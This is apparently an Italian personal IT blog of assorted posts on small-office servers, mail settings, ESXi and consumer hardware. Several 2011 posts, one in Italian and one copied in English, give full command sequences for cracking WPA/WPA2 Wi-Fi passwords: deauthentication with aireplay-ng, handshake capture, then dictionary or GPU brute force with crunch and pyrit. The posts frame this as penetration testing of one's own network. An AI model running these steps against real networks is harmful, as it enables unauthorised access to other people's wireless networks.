Giovanni Perego - TechBlog

Invita amici a usare OneDrive

2014-11-17T12:43:00.002+01:00

Per ogni amico che accede a OneDrive come nuovo utente, sia tu che l'amico riceverete 0,5 GB di spazio di archiviazione aggiuntivo gratuito (massimo 5 GB).

Link per l'invito

https://onedrive.live.com/?invref=52bcebd6018503dc&invsrc=90

Grazie!!

Meglio usare smtps.aruba.it e pop3s.aruba.it anziché il proprio dominio

2014-10-31T10:46:00.003+01:00

Consiglio vivamente a tutti gli utenti con dominio di posta su Aruba, di utilizzare i server di front-end SSL di Aruba anziché smtp.miodominio.com e pop3.miodominio.com

Oltre a proteggere il vostro traffico mail tra voi e il server, è molto meno soggetto a problemi.

Parametri corretti per il vostro dominio:

Server smtp: smtps.aruba.it porta 465 ssl

pop3: pop3s.aruba.it porta 995 ssl

user: nomeutente@miodominio.com

Ricordo inoltre che Aruba ha portato le caselle base da 100MB a 1024MB

E' perciò possibile aumentare nel client (Outlook, Mail, Thunderbird, ecc) il numero di giorni in cui lasciare la posta sul server.

Ci risiamo con il MicroServer HP da 300€!

2014-09-15T21:43:00.000+02:00

In consegna per un nuovo cliente.

Questa volta siamo stati davvero competitivi!

Hardware: 650€
Installazione : 400€

Installazione:
- Trasporto, installazione in sede e alla lan.
- Migrazione Dominio da 2003 a 2012 R2 e tutti i servizi collegati.
- Elezione a dc primario e rimozione del vecchio server.
- configurazione dei client per l'accesso al nuovo dominio.

Un sistemista sa quanto lavoro c'è dietro con una decina di client da migrare....
Io avrei preventivato un bel po' di più... ma c'è crisi!!
Il serverino funziona davvero bene! Con Windows Server 2012r2 è perfetto!

Hardware:

Configurazione da € 650 + iva

250€ - HP MicroServer AMD Turion II NEO N54L - Offerta incredibile! (Listino 345€) 100€ - 2x 4GB 1333MHz ECC Module [8 GB Memoria x HP] 8GB di RAM, 200€ - 2x WD - WD GREEN 2TB (2000 GB) Dischi in mirror: 2000GB in sicurezza 150€ - Windows Server 2008 Foundation (max 15 user) Offerta HP / Microsoft r.o.k.

Perfetto per piccoli studi professionali fino a 10-15 utenti o per sedi remote

Grande ADSL Tiscali! 18mbit con download singolo!

2014-09-05T12:40:00.002+02:00

Scaricando l'Hypervisor di vmware... 350Mega circa:

Sono veramente contento dell'ADSL Tiscali a Lecco!

Il collo di bottiglia sembra proprio essere il mio vecchissimo e schifosissimo router! (WebShare 141W della Atlantis Land)

C:\Windows\System32>tracert www.google.com

Tracing route to www.google.com [173.194.40.20]
over a maximum of 30 hops:

1 <1 ms="" nbsp="" p=""> 2 12 ms 12 ms 13 ms static-213-205-24-111.clienti.tiscali.it [213.205.24.111]
3 13 ms 12 ms 14 ms static-213-205-29-146.clienti.tiscali.it [213.205.29.146]
4 13 ms 12 ms 12 ms static-213-205-58-185.clienti.tiscali.it [213.205.58.185]
5 13 ms 12 ms 13 ms 94.32.128.145
6 13 ms 13 ms 12 ms 94.32.135.30
7 12 ms 12 ms 12 ms 74.125.49.170
8 12 ms 13 ms 13 ms 209.85.249.54
9 12 ms 13 ms 13 ms 64.233.174.245
10 13 ms 12 ms 13 ms mil02s06-in-f20.1e100.net [173.194.40.20]

Trace complete.

Microserver HP

2013-10-18T22:52:00.001+02:00

Ottima soluzione che sto proponendo ultimamente i piccoli studi che ancora hanno un vecchio server 2003.
Su 2012 La procedura per migrare il dominio è relativamente semplice.
Microsoft vi da 21 giorni per completare il lavoro e spegnere il vecchio e obsoleto server 2003!
In aziende fino a 10-15 client normalmente riusciamo a sostituire il vecchio server in una giornata

HP MicroServer AMD Turion II NEO N54L – 8GB – 2x HDD 1TB

Configurazione da € 650 + iva

217€ - HP MicroServer AMD Turion II NEO N54L - Offerta incredibile! (Listino 345€) 114€ - 2x 4GB 1333MHz ECC Module [8 GB Memoria x HP] 8GB di RAM, 120€ - 2x WD - WD GREEN 1TB (1000 GB) Dischi in mirror: 1000GB in sicurezza 199€ - Windows Server 2008 Foundation (max 15 user) Offerta HP / Microsoft r.o.k.

Perfetto per piccoli studi professionali fino a 10-15 utenti o per sedi remote

Consumo elettrico estremamente ridotto! (30W - 50W)

- Le performance di un vero server al prezzo di un PC

- Progettato per rendere più semplice l'aggiunta di unità o periferiche - Con emissioni acustiche di 22 dBA, garantisce un ambiente di lavoro confortevole e silenzioso - Ingombro ridotto; Ideale per piccoli uffici - Comprovata affidabilità e assistenza HP - HP realizza i testing più rigorosi e meticolosi del settore - Il testing del sistema e il controllo dei processi garantiscono il rilascio solo dei prodotti più affidabili - Rete globale di assistenza qualificata HP - Affidabilità ed espandibilità - La memoria ECC (Error Checking and Correction) riduce il rischio di errori di memoria - Il RAID 0, 1 previene la perdita di dati e garantisce una costante affidabilità del sistema - Fino a quattro dischi rigidi, per maggiore flessibilità di crescita Processore: AMD Turion™ II Model Neo N54L Memoria: 8GB (2x4GB) UDIMM 2R x8 PC3-10600E-9 Storage: 2TB (2x 1TB SATA 7200 rpm)

Tre14

Assistenza@tre14.it

Prestazioni SSD Samsung 830 SSD in modlaità SATA2

2012-08-22T17:07:00.001+02:00

Performance di nuovi HDD su controlle nForce 570 SLI - Mainboard Abit KN9 Sli

Indice win 7 con i nuovi hdd

2012-08-21T14:57:00.001+02:00

Grande!!! 7.8 su un massimo di 7.9!
Ora sono ram e CPU i più bassi..

Upgrade al mio "vecchio" pc

2012-08-21T14:55:00.001+02:00

Nuovi hdd Samsung!
2x in raid0

Nuovo microserver hp!

2012-05-04T20:26:00.001+02:00

Martedì va in produzione. Windows server 2008 Foundation!

Samsung TV service menu

2012-01-25T20:25:00.001+01:00

How to enter to service menu on your Samsung TV

With the TV in standby, press the {INFO} {MENU} {MUTE} {POWER} buttons on the remote.

* The TV will turn On with the Service Menu displayed.
* Press the {POWER} button to exit the Service Menu.

Tested on my SyncMaster T220HD.

Hiren's BootCD 15.1

2012-01-16T22:04:00.000+01:00

Hiren's BootCD 15.1 - All in one Bootable CD » www.hiren.info

Hiren's Boot CD 15.1, Dos/Windows/Linux Bootable CD, Hirens BootCD, Download WinTools, Partition/Data Recovery. HBCD 15.1 has lots of Open-source/Freeware applications

Baremetal recovery from iSCSI target

2012-01-14T01:11:00.000+01:00

Proposed As Answer byFred StephaniWednesday, March 31, 2010 4:33 PM
Hello All,

Here is a work around that I have found to do a BMR from a iscsi windows backup using the 2K8 install disk.

How to bare metal restore a backup form an iscsi drive made with the Windows 2008 Server Backup utility.

1) On a network connected computer use the iscsi initiator to connect to the iscsi target that housed the Windows 2008 system backup.

2) Using Windows share the newly connected drive on the network.

3) Boot your new hardware from the 2K8 install disk.

4) At the install Windows screen Select your regional settings and Next

5) Select Repair your computer

6) System Recovery Options should be blank for BRM, click Next

7) Select Windows Complete PC Restore

8) At the alert window select cancel

9) Select Restore a different backup and Next

10) Click Advanced and Search for a backup on the network

11) Select yes to connect to the network

12) Enter the unc path to the computer and share above and OK

13) Enter your credentials and OK

14) Select the backup and Next

15) Select the backup time to restore to and Next

16) Next

17) Finish (note the drive you restore to will need to be at least the same size as the drive that the computer was imaged from)

18) Confirm that you want to format the new drive and OK

http://social.technet.microsoft.com/Forums/en-GB/windowsbackup/thread/3cb89ad2-c9a3-4115-acca-a0a8dcdaa6b6

04102011826.jpg

2011-12-08T23:12:00.001+01:00

Inviati dal mio telefono Nokia

08122011989.jpg

2011-12-08T21:01:00.001+01:00

Test Upload foto su google+ da n97

2011-11-25T17:18:00.001+01:00

Nuovo server ESXi 5.0!
Hypervisor installato su una pendrive!
Una seconda pendrive, clonata, in caso di rottura.

Aggiornare VMware ESXi 4.1 alla versione 5.0

2011-11-23T18:41:00.000+01:00

Aggiornare VMware ESXi 4.1 alla versione 5.0

APC: Marca di M....

2011-10-13T19:41:00.000+02:00

Oggi ho simpaticamente scoperto che gli UPS APC con le batterie scariche o difettose, una volta spenti non si riaccendono più!

Bene:
Va via la corrente, le batterie cedono. Cade tutto.

Torna la corrente... E che bella sorpresa NON VA NULLA!
L'UPS non si può nemmeno riaccendere a mano!!! SCANDALOSO!!!!

Per riaccendere i nostri server dobbiamo aspettare che arrivino le batterie nuove.

Provato subito con un altro gruppo della "EPC" (European Power Conversion". Chiaramente il gruppo si accende anche senza batterie... segnalandomi che è senza batterie...

Provato con un "Emerson's Liebert".. Ovviamente anche lui si accende tranquillamente senza batterie e mi segnala che c'è un problema sulle batterie.

Per non parlare dello stato delle batterie dopo 3-4 anni.

Altre marche: Batterie praticamente nuove. (Perfettamente funzionanti)
APC: Batterie che si allargano ed esplodono con conseguente uscita di acido/gel

Bisogna smontare tutto il gruppo per tirare fuori i pezzi delle batterie...

Postero presto le foto.

Altra cagata che non sopporto:

4 x Batterie Cinesi 12V 7A/h = 40 Euro
4 x BOSH Made in Germany di altissima qualità: 120 Euro
Batterie Originali APC (Cinesi!!)= 260 Euro (??? CINQUE VOLTE TANTO ???)

Saranno gli adesivi che APC mette sopra le sua batterie cinesi che costano oltre 100€ l'uno?
O sarà anche che almeno ti costringono a cambiare ogni 3 anni?

SCANDALOSO:

APC = QUALITA' VERAMENTE BASSA = SCHIFEZZA!!

Rete WIND Milano - Celle 3G (UMTS - HSDPA) sature!!

2011-10-12T22:10:00.000+02:00

Negli ultimi 2 mesi, la qualità della connessione dati Wind nella mia zona (P.ta Genova / P.ta Ticinese) è peggiorata in maniera incredibile. Alle 5 di notte: 6 MEGABIT.. alle 22 di sera: 0 bit/s
Segnale 5 su 6... e per magari 4-5 minuti 0K/s !!!!!!!!
Continuano a cadere anche le chiamate voce..

Mi sa che qualche volta, la cella 3G va in palla e fa un reboot che magari dura anche 10 minuti.
Forse lo switch voce tra un ponte 3G e GSM non si può fare e tutte le chiamate in corso sulla cella 3G cadono.

Poco fa ho chiamato il 155.. Dopo nemmeno 1 minuto mi risponde un operatore molto gentile ed educato.
Gli parlo del mio problema.. in pratica mi dice:
Si si.. le celle di Milano, soprattutto nella sua zona, sono congestionate. Molti clienti chiamano per lamentarsi...

Nemmeno lui però aveva la minima idea di quando Wind risolverà il problema.

WIND RIPIGLIATEVI!!
Nel frattempo prenderò una ricaricabile con un altro operatore....

Ho scritto questo articolo giusto per CONDIVIDERE.

Attaccare WPA/WPA2 con Back|Track 5 (CPU e CUDA) ITA

2011-09-25T15:57:00.001+02:00

Guida : Attaccare reti wifi WPA/WPA2 con Back|Track 5 (CPU e CUDA)

Basato su: http://samiux.blogspot.com/2011/05/howto-wpawpa2-cracking-with-backtrack-5.html

Attenzione: Non operare su reti wifi senza autorizzazione.
Lo scopo di questa guida è fornire una conoscienza della sicurezza delle proprie reti.

A livello aziendale, una prova di attacco alla propria rete (penetration - testing) è un’ottima attività per sicurity - hardening.
Si può vedere infatti nell’articolo, nel cado del wpa/wpa2 che una password complessa, non necessariamente molto lunga, diventa quasi impossibile da craccare.

(A) Solo CPU / scheda grafica generica

Passo 1 :

airmon-ng

Se la vostra scheda di rete viene identificata, il risultato dovrebbe essere tipo:

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]

Passo 2 :

airmon-ng start wlan0

Questo comando fa partire la vostra scheda wifi in modalità “monitor” (indispensabile).
A questo punto, la nostra nuova scheda di rete virtuale mon0, è in grado di catturare tutti i pacchetti da e verso l’ap.
Se la scheda wifi non sopporta la modalità monitor/promisqua non vi conviene impazzire cercando i driver.
Con una chiavetta wifi da 10-12 euro risolvete al volo.

Passo 3 (Opzionale cambio mac) :

E’ possibile volendo, cambiare l’indirizzo fisico della scheda mon0 (mac address)

ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up

Passo 4 :

airodump-ng mon0

Airdump inizia a catturare alcuni pacchetti.
Dopo alcuni secondi premere "Ctrl+c" per fermare il programma.

Passo 5 :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0

Dove:   -c è il canale
-w è il file da scrivere
            --bssid is the BSSID

Per determinare il BSSID vi sono vari tool.
Su Back-track 5 si puo trovare “GERIX” una GUI per aircrack che rende semplici molte cose.

A questo punto, continuiamo a catturare pacchetti finchè un client si autentica.

Passo 6 :

Se siamo abbastanza vicini all’AP e c’è un client connesso, si possono mandare dei segnali di deautenticazione e obbligarlo ad andare per un po’ off-line.

In un nuovo terminale (mentre airdump sta catturando)

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:38:72:36:45:24 mon0

Dove: -a è il BSSID
       -c è il mac address del client connesso (si vede nel terminale di airdump)

Dopo alcuni secondo il client torna on-line e a quel punto airdump cattura l’handshake.

A questo punto possiamo fermare il programma.
Il crack della rete viene fatto off-line.

Passo 7 :

Possiamo usare John the Ripper come un dizionario per crackare la password WPA/WP2.

aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs

Passo 8 (Opzionale) :

Anzichè John the Ripper come dizionario, si può usare Crunch.

http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w -

Dove 8 16 è la lunghezza della passwordis (da 8 caratteri a 16 caratteri).

(B) Con scheda grafica nVidia con CUDA

Se si dispone di una scheda grafica nVidia con CUDA, è possibile usare pyrit per craccare la password con crunch.
I passi da 1 a 6 servono per catturare il pacchetto handshake da craccare.
Seguire i seguenti passi per utilizzare cuda.

Passo 9 :

Installiamo le librerie necessarie:
apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapy

Passo 10 :

http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install

Passo 11 :

http://code.google.com/p/pyrit/downloads/list

Scaricare pyrit e cpyrit-cuda

tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
sudo python setup.py install

tar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
sudo python setup.py install

Passo 12:

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

Dove 8 16 è la lunghezza della passwordis (da 8 caratteri a 16 caratteri).

Passo 13 (Opzionale) :

Se si presenta un errore leggendo wpacrack-01.cap eseguire:

pyrit -r wpacrack-01.cap -o new.cap stripLive

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

Passo 14 :

Risultato:

Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'new.cap' (1/1)...
Parsed 71 packets (71 802.11-packets), got 55 AP(s)

Tried 17960898 PMKs so far; 17504 PMKs per second.

Note:

Se si dispone di una nVidia GeForce GTX460 (336 CUDA cores), il sistema dovrebbe arrivare a 17,000 passwords al secondo

Per testare se la scheda wireless (sia USB che PCI-eo PCI) può fare injection :

airodump-ng mon0

Aprire un altro terminale

aireplay-ng -9 mon0

Per vedere se pyrit funziona sul tuo sistema:

pyrit list_cores

All-in-one Micro Server vmware ESXi 5 - DQ57TM

2011-09-16T23:41:00.000+02:00

Micro Server assemblato!

Hardware
- Mainboard Micro ATX Intel® Desktop Board DQ57TM
- Case Antec NSK 1380 (350W)
- 4GB RAM DDR3 (2x 2GB) dual channel
- 2X HDD 250GB SATA (mid range)
- CPU Intel Core i3 550 @ 3.2Ghz
- 2X Network Interface (Integrated LAN + PCI Intel Pro 1000)

Main S.O. (hypervisor)
VMware ESXi 5.0 – the new release of the thinnest, most advanced virtualization hypervisor.

VM S.O.
- Windows Server 2008 R2 Foundation (Max 15 Users) - 3.5GB ram and 1NIC
- pfSense - Open Source FreeBSD based firewall - 256MB ram and 2NIC

Virtual Switch:
VM Network - connected to NIC0 (integrated) for LAN
WAN - connected to NIC1 (PCI Card) for WAN

FreeBSD 8.2 - Vmware Image

2011-08-29T01:16:00.000+02:00

http://www.thoughtpolice.co.uk/vmware/

FreeBSD 8.2, standard install. new! permalink

Notes: Root password is "thoughtpolice"
Quick start HOWTO: soon! For now see FreeBSD 7.0 in 1 minute

32-bit: freebsd-8.2-i386.zip, 183M
fast torrent download!, web download
md5sum: d118c69806c92c14b7629693387e3c7a

64-bit: freebsd-8.2-amd64.zip, 198M
fast torrent download!, web download
md5sum: 3d7a88dc0e68db6310ead029f33dc928

AirCrack performance su Intel I7 in ambiente Windows

2011-08-25T20:23:00.000+02:00

Ecco le performance di Aircrack sul mio PC Intel I7 (Win7 Utlimate 64)

Sembra tenere una media di 4300 parole al secondo.

Il mio portatile Centrino2 a 1,6Ghz fa una media di 800 parole/s

Tra breve test con PYRIT / CUDA con nvidia 8800GT! Dovremmo passare le 10.000 parole/s!!!!

Questi sono i dati della CPU (un pelino overclockata!)

Crack WPA/WPA2 con BackTrack 5 + Pyrit

2011-08-25T15:06:00.000+02:00

http://samiux.blogspot.com/2011/05/howto-wpawpa2-cracking-with-backtrack-5.html

HOWTO : WPA/WPA2 cracking with Back|Track 5

Don't crack any wifi router without authorization; otherwise, you will be put into the jail.

(A) General Display card

Step 1 :

airmon-ng

The result will be something like :

Interface    Chipset      Driver

wlan0        Intel 5100   iwlagn - [phy0]

Step 2 :

airmon-ng start wlan0

Step 3 (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down

macchanger -m 00:11:22:33:44:55 mon0

ifconfig mon0 up

Step 4 :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step 5 :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0

*where -c is the channel
           -w is the file to be written
           --bssid is the BSSID

This terminal is keeping running.

Step 6 :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step 7 :

Use the John the Ripper as word list to crack the WPA/WP2 password.

aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs

Step 8 (Optional) :

If you do not want to use John the Ripper as word list, you can use Crunch.

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz

cd crunch-3.0

make

make install

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w -

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

(B) nVidia Display Card with CUDA

If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch.

Step a :

airmon-ng

The result will be something like :

Interface    Chipset      Driver

wlan0        Intel 5100   iwlagn - [phy0]

Step b :

airmon-ng start wlan0

Step c (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down

macchanger -m 00:11:22:33:44:55 mon0

ifconfig mon0 up

Step d :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step e :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff mon0

Step f :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
-c is the client MAC address (STATION)

Wait for the handshake.

Step g :

If the following programs are not yet installed, please do it.

apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapy

Step h :

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz

cd crunch-3.0

make

make install

Step i :

Go to the official site of pyrit.

http://code.google.com/p/pyrit/downloads/list

Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).

tar -xzvf pyrit-0.4.0.tar.gz

cd pyrit-0.4.0

python setup.py build

sudo python setup.py install

tar -xzvf cpyrit-cuda-0.4.0.tar.gz

cd cpyrit-cuda-0.4.0

python setup.py build

sudo python setup.py install

Step j :

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step k (Optional) :

If you encounter error when reading the wpacrack-01.cap, you should do the following step.

pyrit -r wpacrack-01.cap -o new.cap stripLive

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step l :

Then, you will see something similar to the following.

Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com

This code is distributed under the GNU General Public License v3+



Parsing file 'new.cap' (1/1)...

Parsed 71 packets (71 802.11-packets), got 55 AP(s)



Tried 17960898 PMKs so far; 17504 PMKs per second.

Remarks :

If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second.

To test if your wireless card (either USB or PCI-e) can do the injection or not :

airodump-ng mon0
Open another terminal.
aireplay-ng -9 mon0

Make sure pyrit workable on your system :

pyrit list_cores

That's all! See you.

Installing Aircrack-ng for Windows

2011-08-25T02:18:00.000+02:00

http://wirelessdefence.org/Contents/Aircrack-ng_WinInstall.htm

Installing Aircrack-ng for Windows:

Last Update: April 2010

Project Homepage: http://www.aircrack-ng.org/doku.php

NOTE: Only a relatively small number of Wireless cards are supported under the Windows version of Aircrack-ng . See the Project Homepages compatibility list for full details.

NOTE: For the standard user we recommend not using greater than version aircrack-ng-0.9.3-win as aircrack-ng-1.0-winand above requires the use of cygwin and custom .dll files.

Ensure you have the appropriate windows monitor mode drivers installed for your card (not the standard drivers that came with your card).

Download aircrack-ng-0.9.3-win.zip for Windows from: http://www.aircrack-ng.org/

Download Peek.zip which contains: PEEK.DLL, PEEK5.SYS and MSVCR70.DLL from http://www.tuto-fr.com/tutoriaux/crack-wep/fichiers/wlan/winxp/Peek.zip

Extract aircrack-ng-0.9.3.zip to C:\

Extract Peek.zip (i.e. the files Peek.dll, Peek5.sys and msvcr70.dll) into the directory: C:\aircrack-0.9.3-win\bin

cd C:\aircrack-ng-0.9.3-win\bin

Run airodump-ng.exe or aircrack-ng GUI.exe and hopefully you'll have an interactive window to interact with your wireless card.

Job done : )

There is a nice troubleshooting guide on the project homepage if you have any issues: http://aircrack-ng.org/doku.php?id=airodump-ng#windows_specific

Back to Aircrack-ng Windows Main

2011-08-25T02:04:00.000+02:00

Reg ha scritto:
praticamente se sono in presenza di Ap con Wap2 ho bisogno per forza di cose di un client collegato
Ho capito bene..??

Si! Hai capito bene. Anche con wpa.
Provato! Funziona. Il cracking poi viene fatto off-line.
Il problema è che il criptaggio è abbastanza pesante.
Il mio Centrino 2 (portatile) fa 800 parole al secondo.
Su una bella macchina potremmo arrivare anche a 10.000 (?)
Con dizionari giganteschi (ne ho trovato uno da 10 giga!) occorrerebbero comunque dei giorni e con scarsa probabilità.

Se per esempio la pwd è: DEgf!2wa diventa già abbastanza difficile..

Password composte da nomi, date, marche sarebbero da evitare.

Gli attacchi brute-force in questo caso non hanno senso (256 bit!!).
As of August 17, 2010, distributed.net estimates that cracking a 72-bit key using current hardware will take about 48,712 days or 133.5 years